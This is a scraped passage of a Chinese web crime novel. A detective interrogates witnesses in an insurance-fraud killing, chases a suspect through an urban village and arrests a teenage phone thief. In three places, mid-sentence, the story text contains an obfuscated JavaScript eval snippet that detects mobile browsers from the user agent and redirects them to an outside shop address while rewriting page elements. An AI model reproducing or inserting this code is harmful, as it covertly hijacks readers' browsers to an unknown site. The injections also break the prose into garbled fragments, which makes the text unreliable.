谢隐开口问道:“你这么关心死者是谁,那么你到底希望死的是马骏,还是不希望是他呢?” 李莘一愣:“你不是说警察不会和任何人做交易的么?” 谢隐一摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043553|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手:“你别误会,我没想和你做交易。案件侦破之前谁都不会告诉你死者是谁的,你也可以选择不回答我。” 李莘咬着下唇,很显然内心中正是一番挣扎犹豫。 终于良久之后,李莘几乎颤抖地说道:“我希望······死的是他。” 这是一句无法作为呈堂证供的轻飘飘的主动想法,可谢隐却觉得,这是他打开李莘心扉的一把钥匙! 这绝对是个好苗头,他乘胜追击:“为什么?他伤害过你?” 谢隐都在想是不是要叫一位女警进来继续这次问询了,可就在李莘决定开口的时候,门外传来了一阵乱哄哄的吵闹声。 李莘和谢隐同时看向了门外。谢隐“啧”了一声,正准备去走廊里骂人,可还没等走到门口,就有一个人冲进了会议室。 是怒气冲冲而来的李凤臣。 韩易一脑门的汗,在一旁小心翼翼地解释:“头儿,没拦住啊。” 国家机关,公安重地,拦不住一个年近半百的人?谢隐颈间的青筋微微泛起,可表情却没有过分严厉。 李凤臣怒喝:“抛开我是市人大代表不谈,就单说我是李莘的法定监护人,我就问问你们,你们带走我女儿,我该不该来问一问!” 和当日在凤鸣集团面带猥琐的中年油腻大叔不同,今天半路杀出来的李咬金先生则看起来更像是一位颇有身份的企业家了。 有那么一瞬间,谢隐觉得今天的李凤臣看起来顺眼了一些——或许是对于女儿的关心则乱反而让他更令人尊重了。 谢隐正打算解释,李莘却先开口了。 “爸,不是警察抓我来的,是我自己来的。” 得,省得费唾沫了,谢隐乐得清闲。 李凤臣一怔,不解反问:“你自己来的?你来公安局干什么?” 即便李凤臣此刻面色凝重,甚至带着煞气,可很显然,他的女儿李莘并不怕他。小姑娘实话实说:“我来问死的人是不是马老师。” 李凤臣没有反应的时间,几乎本能地抬起右手挥向了李莘的脸。 饶是谢隐眼疾手快,也来不及上前阻拦。好在这一巴掌在离李莘脸一寸的时候堪堪停了下来。 到底,也没舍得打下去。 谢隐明白了,在李凤臣这,所有的伪装都是假的。唯有对女儿的爱,是真的。 李凤臣恨铁不成钢地怒斥了一声“死的是谁都和你没关系”之后,就拉着女儿的手强行向外走去。 眼瞅能从李莘口中得到重要信息,却被李凤臣搅和了,谢隐心中不是没有遗憾的。但韩易他们想要阻拦李凤臣时,谢隐却挥手制止了。 作为警察,他们没有权力强留。 谢隐让看热闹的警员们都散了,自己走到走廊尽头的茶水间,那里有一个吸烟区。 而另一边,被李凤臣强拽下两层楼梯的李莘终于甩开了父亲的手,歇斯底里地怒吼:“你滚,我不用你管!” 李凤臣的眼眶通红,青筋暴起,估计在胸腹中酝酿了无数骂人的话,最终都咽了回去。 他喘着粗气,强忍着怒火,苦口婆心地说:“莘莘,该翻篇了!你看警察这架势,死的可能真是马骏。你年纪轻轻,大好前程,该有新的生活了。” 沉默,仿佛天地万物都凝结了一般的沉默,死一样的沉默。 良久,李莘才艰难开口:“他死了?” 李凤臣没有回答。 李莘的嘴角有点抖,嗓子也略显沙哑:“他真的死了?爸,是你杀的他么?” 李凤臣没有回答,因为他来不及回答。 李莘在问完这个问题之后,便疯癫了一般冲着天空中刺眼的阳光哈哈大笑起来。她笑得那么灿烂,看得出来,是发自真心的愉悦。 她一边笑,一边踉踉跄跄地走出公安局大院。 李凤臣赶忙上前追赶,试图搀着女儿。 而在三楼茶水间的男人此刻终于收回了目光,深吸了一口气。 啪,点燃了一根烟。 12. 豪车惊魂12 孙庆梅是被连夜接到A市的。 据荆哲汇报,尽管孙庆梅在听闻马骏的死讯后表现得特别悲伤,但还是不愿意配合警方到A市来。借口种种,无外乎“孩子小没人照顾”,“自己一个农村妇女懂啥”之类的话。 荆哲看出了孙庆梅的躲避,好在他福至心灵,对孙庆梅说“尸体已经被烧焦了,做不了dna。你就是去把尸体领回来的”,孙庆梅才松口同意。 “不愿意做dna······”谢隐沉吟片刻,“看来真的有问题。” 荆哲在这时,一脸坏笑地掏出了一个物证袋,里面装着两根头发。 白超然错愕,脸色凝重,还没等说话,就被荆哲打断了思路。 “我事先声明,这不是我薅的。天地良心,真是她自己掉在我车里的。” 白超然掉书袋的性情又来了:“无论怎么弄到的,检察院那也说不过去啊。” 荆哲却不以为然:“管他呢,左右都猜测死者不是马骏了。也不做证据,就当个辅助,变通变通嘛,白法医。” 白超然向天长叹,他眼看着荆哲这个孩子从文质彬彬的翩翩少年,逐渐“谢隐化”。 他只得拿着头发去了实验室,一边走还不忘一边叹息:“真是跟什么人,学什么人。” 孙庆梅在到达A市刑警队之后,就一直提出“赶紧把尸体领回去好安葬”。谢隐却派了韩易几位女警强行对她心理安抚。 要说这韩易和户籍科的几位老大姐也是真能侃,先是嘘寒问暖,再到闲话家常,从喂猪奶孩子,到村里小姑娘配女婿,几乎把孙庆梅能聊的话题聊了个遍,就是不提去认领尸体的事。 难怪韩易虽然长相没有谢隐等人出众,却能在警局一直获得“最受女同志欢迎TOP1”称号,活脱脱的妇女之友。 茶水喝了一轮又一轮,瓜子吃了一把又一把。很快就把孙庆梅侃晕了,话匣子也敞开了,戒备心也放下了。 放下到什么程度呢?就是她在聊得正欢的时候,丝毫没有注意到陪聊团中又多出来一个人。 老大姐们很自然地给新加入者挪了个C位,谢隐抓了把瓜子,毫无痕迹地接着话茬说了句:“孙大姐,你和马骏感情很好吧?” 说到这,孙庆梅那张原本就带着常年劳作的红晕的脸上更加有光泽了。她笑得腼腆又幸福:“好。我们俩从小一起长大。他没爹妈,家又穷,我就偷偷把我的干粮省出来给他吃。他灵巧,水性好,总带我去后山的河里摸鱼。他一口气能扎五六分钟不出水,摸上来的鱼我俩就偷偷烤了吃了······” 小孩子那没有佐料,甚至可能半生不熟的烤鱼实在算不上什么珍馐美味,但却是孙庆梅最幸福的记忆。 谢隐趁热打铁:“孙大姐,你俩感情这么好,怎么最后没走到一起呢?” 孙庆梅的眼中掠过一丝遗憾:“他家穷,我爹不同意。” 谢隐:“那马骏一直都没结婚,是因为你么?” 这是谢隐最想问的问题,不仅仅为了求证孙马二人之间的关系,也为了探寻这个嫌疑人的内心。 “不是,不是吧······”孙庆梅也不敢确定,失落感依旧在,“我都嫁人生娃了,他凭啥还一直等我呀?我听村里人说他在城里找过两个对象,后来都嫌他穷,就散了。” 这和谢隐的猜测差不多,正是贫穷所导致的自卑心理让马骏无法正常和女性进行交往,所以在面对生理需求时,选择了极端的做法。 “那你丈夫去世以后呢?”谢隐这句话问得小心翼翼,毕竟对于一个农村妇女而言,“寡妇门前是非多”的传统糟粕思想还是存在的。他怕把费了九牛二虎之力打开的局面给破坏了。 好在孙庆梅没有过激的反应:“他联系过我几次,说要接我来城里,我都拒绝了。” 这话半真半假。根据谢隐他们掌握的情况,马骏几乎每天都会联系孙庆梅。不过马骏也确实很少回家乡,也没有证据证实孙庆梅来过A市。 看来这个孙庆梅,还有一点头脑。学识和阅历限制了她的思维方式,但在和马骏敲定好的细节上,她还是做到了守口如瓶。 谢隐看了一眼表,觉得差不多了。恰在这时,白超然来敲门,把谢隐叫了出去。 “怎么样?” 白超然递过检验报告:“死者确实不是马骏。” 谢隐谢过白超然,递了个眼神给卢晓明,二人便又回到了会议室。 原本正在喝茶的韩易看见了卢晓明今天的装扮,差点一口水喷了出来。好在他极力克制,也没让自己咳得特别明显。 谢隐瞪了他一眼,他便赶忙溜出了会议室。 也不怪韩易笑喷,卢晓明这身打扮,实在是太不伦不类了。 一身材质低劣的西装,系着一条一拉得领带。像被洗缩水了一样,这身衣服皱皱巴巴,极不合身,把平日里192的阳光小警官硬生生变成了个三流保险销售员。 之所以说三流,就是看起来像半年没拉到生意的那种。 好在卢晓明心理素质不错,丝毫没受韩易的影响,坦然地坐在了孙庆梅的对面。只是内心不断腹诽——头儿作为一富二代,抠成这德行,也是亘古少有。 谢隐:“孙大姐,你知道马骏名下有一份人身意外保险,受益人就是你吧?” 听到“保险”,孙庆梅终于紧张了起来。她坐直了身子回答:“我知道。小骏和我说过。他说他没有别的亲人了,要真出点什么意外,就把钱给我吧。” 说到这,她的神色哀伤不已:“谁承想,就真的发生意外了呢?” 这段话从语气,到神态,到节奏,都掌握得恰到好处。与之前那个腼腆害羞的孙庆梅不同,这段话说得很流利。 谢隐与卢晓明对视,看来是背过的词。 “您也别太伤心,孙大姐,”谢隐紧盯着孙庆梅的眼睛,放慢语速,语气加重,颇有严厉色彩,“是不是意外,还很难说。” 话讲到这,孙庆梅的瞳孔骤缩,脸上讶异惊恐的神色根本难以掩饰。 她的手抖了抖,没有说话。 谢隐又把神色放缓,耐心解释:“我们警方在痕迹检验的过程中发现,马骏开车经过的那个旱水沟桥路面很平稳,马骏在桥上加速且快速打了转向,才导致车辆侧翻的。所以我们现在有理由怀疑······马骏,是自杀的。” “自杀”二字刚一出口,孙庆梅先是愣住了,随即竟然难以掩饰地长舒了一口气。 这一切落在谢隐的眼中,都如他预料的一模一样。孙庆梅惊恐紧张,是以为杀人事情败露。而她又舒缓了下来,是以为警方真的认为死者是马骏······ 谢隐可以百分之百确定,孙庆梅对杀人骗保的事实完全知晓。 卢晓明清了清嗓子:“所以谢警官,这个保单,我们公司不能进行赔付。” 孙庆梅有点没听懂,问:“不能赔付,是啥意思?” “就是合同上所写的赔付给受益人的一百万,我们不能给您了。如果马骏先生是自杀,很可能有骗保的行为。我们不追究马先生的刑事责任就不错了,赔付款项根本不可能。” 一听说钱拿不到了,孙庆梅慌了。她猛地站了起来,指着卢晓明想要说些什么,可脸憋得通红,却一句话也没说出来。 谢隐恰好在这个时候非常“贴心”地站了起来,把孙庆梅又扶回了椅子上。 孙庆梅竟然向谢隐投去了求助的目光,很显然,方才那一长串铺垫很有成效。孙庆梅竟然对谢隐产生了依赖和信任。 谢隐拍了拍孙庆梅的肩膀,表示万事有他,别担心。他旋即转头看向卢晓明,厉声喝道:“和人家老大姐喊什么?你家里没有亲人么?你亲人被人这么吼,你心里好受吗?” 卢晓明决定明年一人血书要求奥斯卡给他们头儿颁个“最能装像”奖。他把身子往椅子里窝了窝,不情愿地嘟囔了一句:“说是自杀的也是你们警察,出来装好人的也是你们警察。” 谢隐随即拍了桌子:“你这是什么态度!我们警方提出‘自杀’的可能性,是为了还原真相,本着实事求是的态度!今天叫你来商量,也是为了孙大姐的利益!” 他演上瘾了,指着孙庆梅:“你看看人家孙大姐,一位女同志,带着两个孩子,多不容易?你以为我不知道你们这些保险公司么?即便我们警方不提出‘自杀存疑’的结论,你们也会找其他借口,不予赔偿的。” 卢晓明:“她可怜归可怜,可我也得按章办事啊。这一百万我要赔给她,就得我自己出。她可怜,我还可怜呢。我连媳妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043554|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没娶到,连个首付都没凑齐,谁可怜我?” 谢隐听到这,语气缓和了下来:“没说让你赔偿这一百万。” 他拿过卢晓明面前的一个档案夹,里面是一份空白的人身意外险合同。 “马骏买的是返本型意外险,这种意外险费用可不低啊。你和你们公司商量一下,把保险费用给人家孙大姐返回去吧,一共是······八千六是吧?” 卢晓明还没等孙庆梅反应过来,直接言辞拒绝:“那可不行!这不符合规矩啊。” “少他妈给我讲狗屁规矩,这种先例我见多了,去年我还亲手经办过一个!你现在就去问问你们卢总,今后在A市还用不用得着我们公安局,用得着就别他妈废话!” 卢晓明赶紧唯唯诺诺起身离开了会议室。有那么一瞬间,他竟然被谢隐的情绪给感染了。卢晓明都开始怀疑自己是不是真做错了什么······ 卢晓明一出去,谢隐赶忙又换了一张脸。 孙庆梅一听,警察为她争取的也不过是个退回保费,不觉急火攻心,眼眶都红了起来。尽管她是个农妇,但她不傻,一百万和8600之间有多大差距她是知道的。 她真的懵了,这是她所从未预料到的。或许马骏告诉过她自己的计划天衣无缝,或许马骏已经给了她几种情况的应对脚本······ 但很显然,她不知道现在这种状况该怎么办了。 谢隐语重心长地解释:“孙大姐,我们也尽力了。虽然我们是警察,我们上头还有纪委,我们的案卷还要交给检察院审核。我们不能冒着扒警服的风险替你和马骏作假呀你说是不是?我看你带着两个孩子可怜,才帮你想办法要回来这8600。你自己想想,8600块钱,也能给你孩子买不少衣食用品吧?” 这句话说到了孙庆梅的心坎上。孩子,那两个生下来就保守贫困之苦,从没吃过一顿好的,穿过一件好的的孩子,是她如今心底除了马骏以外,最在乎的人了。 从一百万到8600,落差太大了。可面对警察,面对保险公司,她能做什么呢? 谢隐继续说:“如果你执意要求保险公司进行赔偿,走诉讼程序,就把这事闹大了。到时候我们警方提出‘自杀’的结论,你和马骏可就有骗保的嫌疑了。最终钱没拿到,你还可能要负刑事责任。” 孙庆梅面如死灰地瘫坐在椅子上,不知该说些什么。 谢隐就这样默默注视着这个女人,她在懊恼?懊恼马骏杀了一条人命,却竹篮打水一场空?她在失望?失望她和孩子不能因此而改变命运? 谢隐没有下结论,也没有说话。 就在这时,卢晓明进来了。他万分不情愿的表情说道:“我和卢总联系了,他说看在谢队的面子上,他去协调这件事。不过需要几天时间。” 他转头看向孙庆梅:“孙大姐,你对这个结果满意么?” 如果是谢隐,一定会在脱口而出“满意个鬼”。但孙庆梅仍旧呆楞地瘫坐在椅子上,气都喘不匀。 看着她慌乱的表情,谢隐觉得最重要的环节到了! 他给孙庆梅端了一杯水,语气和缓地提出建议:“孙大姐,我知道这件事很难让人接受,你一个家庭主妇,也不好拿主意。这样吧,你给家里人打个电话,商量一下吧。” 谢隐在说这句话的时候,看向了门外的韩易。韩易向他点了点头,表示自己明白。 一旁的女警们也开启了居委会大妈模式,柔声细语地劝说起孙庆梅来。 “对,打电话商量商量吧。有个人拿主意也好啊。” 孙庆梅这才捡回了半条命一样,有了点生气。对,这变故太大了,她得问问,她该怎么办······ 孙庆梅看了看谢隐那真挚的脸,看了看女警们关切的脸,终于一咬牙,拿出了手机。 她拨通了一个号码。是一个键一个键输入的,看来已经背得烂熟于胸了。谢隐从旁看着,拥有着超强记忆力的他很快意识到,这个号码,没出现在孙庆梅的通话记录过。 一阵盲音之后,电话被挂断了。 电话里传来机械的女声:“您好,您拨打的电话正忙,请稍后再拨······” 谢隐冷冷地看向门外。 韩易比了个OK的手势。 13. 豪车惊魂13 孙庆梅没拨通电话,也就最终没能拿定主意,这也是谢隐希望看到的。 他简单说了句“孙大姐,检验科的报告几天后才能出,保险公司也需要协调几天,你先在A市住下,住宿问题我们来解决”之后便把她留给了几位女警大姐。 谢隐一出来,卢晓明和韩易便凑了过来。 “头儿,这个号码和之前的一样,也是问题号码,登记身份信息的人都死了四年了。” 谢隐点头:“能定位么?” 一位坐在电脑前正死死盯着屏幕的年轻民警转过头,看向谢隐:“头儿,已经定位到了。” 这位年轻民警叫凌星,警校研究生刚毕业,平时属于技术宅类型,对刑侦技术到了痴迷悟道的境界。一听说跑外勤,就跟刀架脖子似的,谢隐便索性把他安排到了技术科。 谢隐顺着凌星手指的方向,看向电脑屏幕。 在电子地图上,标记点在比例尺较小的范围内缓慢移动着。 “放大。” 凌星如谢隐吩咐所做,把比例尺放大。在较为详细的道路布局上,标记点的移动速度也显得变快了。 目标位于城市的南面,穿街走巷,左拐右绕······ 谢隐:“目标准确性能达到什么程度?” 凌星:“目标信号清晰,误差可以缩短到0.5米。” 谢隐拍了拍凌星的肩膀,立即回头命令卢晓明:“召集一组探员,我带队,立即赶往南城实施堵截。通知辖地派出所,提供支援。” 卢晓明:“是!” 他转头看向韩易:“准备三辆车,不要警车。” 韩易:“是!” 谢隐回过头看向凌星:“技术组提供技术支持,信息随时保持畅通,指导我们找到目标。” 凌星:“是!” 谢隐发出一系列命令后,着重强调了一点:“记住,我们现在没有任何证据能够证实马骏就是杀人凶手,所以他不能作为嫌疑人直接被带回来审讯。各组分头行动,一旦发现目标,不能暴力强制目标,立即汇报,听从下一步安排!” 尽管马骏不能以嫌疑人身份直接提回来审讯,但已然发现马骏下落,对于警队上下都是一个喜人的消息。几辆车上的警员们全都摩拳擦掌,跃跃欲试。 谢隐则聚精会神地听着耳机中凌星的指挥,专心致志地开着车。车子打着双闪灯,在保证安全的情况下,一路风驰电掣,赶往目的地。 谢隐他们在移动,目标同样在移动,且十分没有规律可言。谢隐他们刚拐上一条单行道,结果目标就反方向走了。等谢隐他们再绕回来时,目标已经离开辐射区域了。 韩易把他能想出来的骂人话都说了个遍,烦得谢隐让他住嘴,“安心做个吉祥物不好么”。 终于,在所有人都被折腾得晕头转向,甚至有警员开始晕车了的时候,凌星传来了好消息。 “头儿,你们已经进入目标范围了,目标就在你右侧第二个巷子三百米处。” 谢隐赶紧通过对讲布置任务:“三组分头行动,分别在南、北、东三侧包抄,治安队在西侧支援。” 耳机里传来一阵回答的声音,凌星也又一次确定了目标位置。 A市南城在地理位置上属于整个城市的低洼地带,位置偏开发晚,房价也是整个城市的洼地。这里散落着A市最多的城中村,违章建筑千奇百怪,只有你想不到的,没有他们造不出来的。 人口密集,街巷混乱,这是窝藏嫌犯最好的地方,谢隐不觉这么想。 谢隐把车开到巷子口,果不其然,巷子很窄,里面乱堆乱放严重,别说根本不能走车了,短短几百米的巷子,目光都看不到头。 谢隐只能带着一队人马下车,听从凌星的指令,缓步向巷子内走去。 他一边低头躲避开挂在巷子里还滴着水的内衣裤,一边再次强调:“一定不能弄伤目标,否则他反咬一口,督查和检察院那,咱们都得吃不了兜着走。” 就在谢隐小心翼翼跨过两个废弃在路中间的铁钉木板后,他听见了一阵清脆的铃声和大喇叭里传来的吆喝声。 “收冰箱,彩电,洗衣机,易拉罐旧报纸旧纸壳咯······” 是个收废品的。 谢隐顺着凌星的指引继续向前,没理会这个人,可就在谢隐距离这个收废品的三轮车很近的瞬间,嵌入式耳机却发出了巨大的噪音! 那种尖刺的噪音几乎能在一瞬间把谢隐的耳膜刺穿。他本能地第一时间把耳机摘了下来。 他龇牙咧嘴地拍了拍耳朵,看向收废品那人的大喇叭。 应该是大喇叭和耳机产生了某种雪崩式的正反馈,让耳机传出来的声音超出了人体承受的范围。 谢隐没什么好脸色,可事情紧急,也不能跟一个路人甩脸子,只得硬着头皮把耳机塞了回去,继续往前走去。 “头儿你能听见吗头儿?”凌星的声音非常急促。 “我能听见,说吧。” “目标就距离你不到10米!而且你们两个碰过面!” 碰过面······谢隐刚才没见着啊······ “收冰箱彩电洗衣机······” 鸭舌帽,口罩······ 谢隐几乎是在反应过来的瞬间弹出去的。他调动了周身的肌肉,以他能达到的最大爆发力向后转向冲去。而就在他发力的瞬间,原本还骑在三轮车上的人突然站起身,灵巧如猿猴一般借力攀爬上了一栋违建二楼的铁栅栏上。 铁栅栏是防贼的,结果却给贼当了登天梯。 谢隐率先反应了过来,高喊了一声“抓住他”就想也没想跟了上去。他一边跑一边用对讲下命令:“各组注意,戴鸭舌帽,黑色口罩,黑色T恤,身材消瘦,注意围堵。” 强将手下无弱兵,组员也很快反应过来,跟了上去。还有几个心眼活络的,悄悄绕到违建的后面,准备从那面包抄。 谢隐爆发力强,耐力也不错。以前在警校时候群雄争霸,他也能轻松在大练兵中拔得头筹。但现在他也感觉到吃力了。 目标的身手虽然不能和谢隐相提并论,但对这一带的地形却特别熟悉。这种巷道游击战中,东道主的优势是呈几何增长的。 同时还有一个不好的消息传来,凌星报告,目标在逃离时把手机扔在了原地。也就是说,技术队的辅助全没用了。 谢隐尽管没法抓住目标人物,但他也在尽全力让自己与之保持适当的距离,并且不错眼珠地盯着他。这么复杂的地形,目标只需要把鸭舌帽和口罩一扔,他们就全抓瞎了。 这小子攀爬跳跃能力极强,不断穿过铁丝网围栏,越过违章广告牌······谢隐的队员渐渐在围堵的过程中散开了,只有谢隐还在咬着牙紧追不舍。 有那么几次,谢隐马上就能抓到这个人了。他的指尖已经触及到了对方的手臂,四道血凛子倏然骤现。可对方却一闪身钻进了一个即将颓塌的破墙洞里。谢隐身量高,肌肉发达,钻这个洞太难了。他一跃而起翻过了破墙,却也和目标拉开了差距。 就在目标跑到一个闪着诡异小粉灯的巷子中时,忽地一闪,闪进了一个垃圾堆后。 不过是几秒钟的事情,待谢隐跑过去,人却不见踪影了。 那是一条岔路,谢隐面前有三种选择。无论哪种选择,都让谢隐必须舍弃另外两个追击到目标的可能性。 他心底暗骂一句,今天如果抓不住人,就打草惊蛇了。再想找,就不知道猴年马月了。 就在这时,他的目光落在了垃圾堆后面那忽闪忽灭的小粉灯上。 这是个发廊。谢隐的第一反应,这该不是上个世纪八十年代的产物吧? 发廊距离路口最近,且被垃圾堆挡在了后面。现在无论选哪条路去追,都追不上了,把任务留给其他组的兄弟吧,他决定进这个发廊打听一下消息。 毕竟目标人物看起来对这一带相当熟悉,或许常驻人口会有印象。 一推门进来,一个干瘦的,正抽着烟的女孩抬起头,看向了谢隐。 发廊里吱呀呀的电风扇聊胜于无地转动着,女孩的头发油得都打绺了,湿漉漉地贴在鬓角处。谢隐不可思议地回头看了一眼招牌。 这不是发廊吗?服务人员就不能洗个头? 女孩回过神,热情地迎过来。手上的烟屁股还没掐灭,一股劣质香烟的味道混合着低档香水,扑面而来。 谢隐也不知是跑的还是怎么着,格外想吐。 在女孩的指尖自然地划到谢隐的腰带扣上时,谢隐终于明白这是个什么发廊了。如果他没猜错,屋子后面还会有屋子。可能会有一张床,或是几张床。 说不准此刻屋里正有人酣战着。 谢隐扒拉开女孩的手,掏出警官证,“警察。” 女孩一愣,随后往后退了一步,眼中写满了恐惧,但还是强撑着保持住了镇定。 这反应在谢隐意料之中,他摇摇头:“别害怕。抓赌抓嫖不归我们刑侦队管。看你们这门脸也知道生意好不到哪去,治安队都未必看得上你们。我今天来是和你打听个人,你给我老实说。否则······” 谢隐用手比了个电话的手势,挑眉看向女孩。 女孩明白,如果她不老实回答, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043555|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想把她弄进局子,也就是一个电话的事。 “认识这个人吗?”谢隐把马骏照片递过去。 女孩干脆摇头:“没见过。” “我跟你说,这个人经常活跃在你们这一带,你如果见过不告诉我,等我们查实了,你知道后果。” 女孩惶恐不安地双手拽着裙子,一双大眼睛扑闪着,就是不敢看向谢隐。 “警官,我真不知道······不认识,真的,真不认识。” 女孩几乎带着哭腔在说这段话,谢隐也无奈。尽管他是个警察,但他也不愿意向这些匍匐在社会最底层,艰难求生的人发出太多责难。 他缓和了一点口气,又问道:“那刚才看见一个戴鸭舌帽的男人跑过去吗?往哪个方向跑了?” 女孩这才如释重负,指着巷子向左拐的岔路,说:“看见了,往这个方向跑了。” 谢隐怕她搪塞应付,追问了一句:“你真看见了?穿什么衣服?” “啊······黑色鸭舌帽,黑色T恤衫。”女孩努力回忆的样子。 记得还挺仔细,谢隐想。他转身决定离开,劣质地板砖上的灰尘让他脚底打滑。 真脏,也不知道打扫打扫,难怪生意不好,谢隐这么想着。 可就在想到这时,谢隐突然愣住了。 记得挺仔细······地上真脏······ 谢隐赶紧低头看向地面,一串泥土脚印赫然指向里屋的那扇门。谢隐又看看自己的脚,同样能才出泥水脚印。 那是追击过程中跑过几个泥水坑所致。 谢隐一双鹰眼霎时间带上了厉色,这目光中的煞气让女孩不觉往后退了一步。 谢隐问:“你真看见了?” 女孩唯唯诺诺地点头,声音越来越小,“我真看见了。” “我进来时,你正在低头。看见一个人匆匆跑过,不奇怪接着张望,竟然低下头?”谢隐的声音粗砺起来。 “我······我正抽烟呢,就低头了。” 谢隐又说道:“正常人,没有受过专业训练,这么短的时间很难记住这么多关键信息。他就跑过去那么一瞬间,你就能记住他黑色鸭舌帽,黑色T恤?” 他指着地上的脚印,又指了指里屋的那扇门。 “把门打开。” 女孩极力阻拦,看起来情绪有点激动:“警官······里屋没人,真没······” 说到这,女孩想到了那串脚印,也觉得瞪眼说瞎话不太现实,又改口:“警官,没有外人,就我一个姐妹在里面。” 其实谢隐也不确定门里面的到底是不是他追踪的人,结合这个发廊的性质,他也不想开门看见两个光着屁股的男女。 可哪怕是为了排除可能性,谢隐也必须开这扇门。因为耳机里不断传来兄弟们的回话,没有人遇到目标人物。 有了在秦淮家的经验,谢隐决定不能再冒失踹门了。他凌厉的目光看向女孩,一种巨大的压力迫使着女孩不得不哆嗦着打开了门。 门内,更为年轻的两个孩子坐在一张脏兮兮的床上。一男一女。 房间装了防盗栅栏,窗子是跳不出去人的。谢隐简单看了看房间的布局,没有柜子,也没有其他出口。 他看着眼前的男孩,顶多也就十四五岁,甚至可能更小。二人都衣着整齐,很显然不是嫖/客与发廊女之间的关系。 这么一个小孩子,有什么怕被人看见的呢? 谢隐失望了。他没兴趣探寻一个发廊女究竟在怕什么,只得悻悻地退出房间。 他最后瞥了一眼床上的男孩,头发凌乱不堪,脸上还带着不深的疤痕,身高顶多有168,一件红色T恤,一条破洞牛仔裤,脚上的鞋也是干净的。 很显然,这不是马骏。 谢隐叹了口气,通过对讲问其他人的情况,收到的回复也都不乐观。 就在谢隐即将踏出发廊那道低矮得必须屈伸的门时,谢隐的脚却悬在那没有落下。 那个男孩······ 他猛地冲回了房间,目光落在了男孩的手臂上。也恰在同时,男孩突然从床上蹦了起来,想要侧身从谢隐旁边冲出去。 撞个对脸,谢隐怎么可能再让他跑掉呢? 谢隐一把攥住了男孩的手臂,手掌的力量很大,男孩吃痛,动作也放慢了。 谢隐一个擒拿,将男孩的胳膊背向了身后,死死锁住了。 他拽开套在男孩手臂上的黑色防晒套臂,四道新鲜的血凛子还冒着血丝。 谢隐长舒了一口气:“各组注意,目标人物,我找到了。” 14. 豪车惊魂14 审讯室的大玻璃后面,韩易看着屋里坐着的小男孩,不禁皱起了眉。 “头儿,不是说抓马骏吗?这······抓个小孩回来,不好交差吧?” 卢晓明其实也一脑门子雾水,但还是扯了扯韩易的衣角,示意他少说两句。韩易不禁浮现出“说你心上人两句都不行”的烦躁感。 谢隐的一脚却在韩易愣神时踹了过来,力道不重,但足以吓韩易一大跳。 “废什么话,我能抓个小孩回来糊弄人?糊弄鬼也不干啊!”谢隐没好气,但也懒得和韩易解释。 这时,荆哲进来了:“头儿,技术科把手机数据分析了一遍,新卡,新手机,没能找到什么有效信息。” 谢隐看见荆哲,就狠狠回头瞪向韩易和卢晓明。就在追击过程中凌星说“目标人物把手机扔在了原地”之后,只有荆哲一个人反应过来,折返回去把手机拿了回来。 他赶到时,手机都被一个大爷捡起来了。老大爷倚老卖老,压根不跟你谈法律。荆哲磨破了嘴皮才从大爷手里拿回手机,还花了二百块钱。 审讯室里的小男孩一脸混不吝,天不怕地不怕的拽样子。 预审民警:“说吧,手机哪来的?” 小男孩:“捡的。” 民警:“捡的?这么新的手机谁能扔?你再给我捡一个我看看!” 小男孩一摊手:“你再给我两千块钱,我捡一个给你。” 韩易低声骂了一句:“这谁家孩子,也不知道管管!真想揍他丫的。” 民警:“少给我油腔滑调的,我看你就是偷的!” 小男孩笑笑:“你说偷的就是偷的吧。反正我才13,你能判我刑?” 谢隐长叹了一口气,决定不这么耗着了。他从荆哲手中接过小男孩的基础信息,然后推门进了审讯室,把预审的民警换出来。 小男孩是被谢隐抓住的,他见过谢隐,本能的,有点怕谢隐。他看了眼坐在对面的这尊煞神,手臂上还火辣辣的疼。 谢隐却没理他,继续低头看着资料。半晌才开始念起来:“李富贵,13岁······” 谢隐一挑眉,哼笑了一声:“你叫李富贵?名字挺有个性啊。” 小男孩的目光不自觉地落在谢隐眼角处的那道伤疤上,说话也收敛了许多。但还是一副无知者无畏的表情:“对啊,我爹给我起的。他说我出生时候算命的说了,这娃天生富贵命。” 谢隐嗤笑:“偷手机也能偷出富贵命。” 小男孩不以为然:“海上还有贼王呢,没准我哪天就成陆地贼王了。” 谢隐几乎没犹豫:“海上有没有贼王,除了动画片我也没见过,我就知道海上有的是王八。陆地也一样,遍地是王八。” 小男孩愣住了,这是个警察吗?怎么比臭流氓还臭流氓? 谢隐眼角带着轻蔑的笑意,舌尖轻抵上颚,哼了一声。跟谢隐犯浑,他浑的时候你还是个细胞呢。 谢隐继续低头念起来:“城南永安村人,父母去世,和姐姐李师师一同生活。” 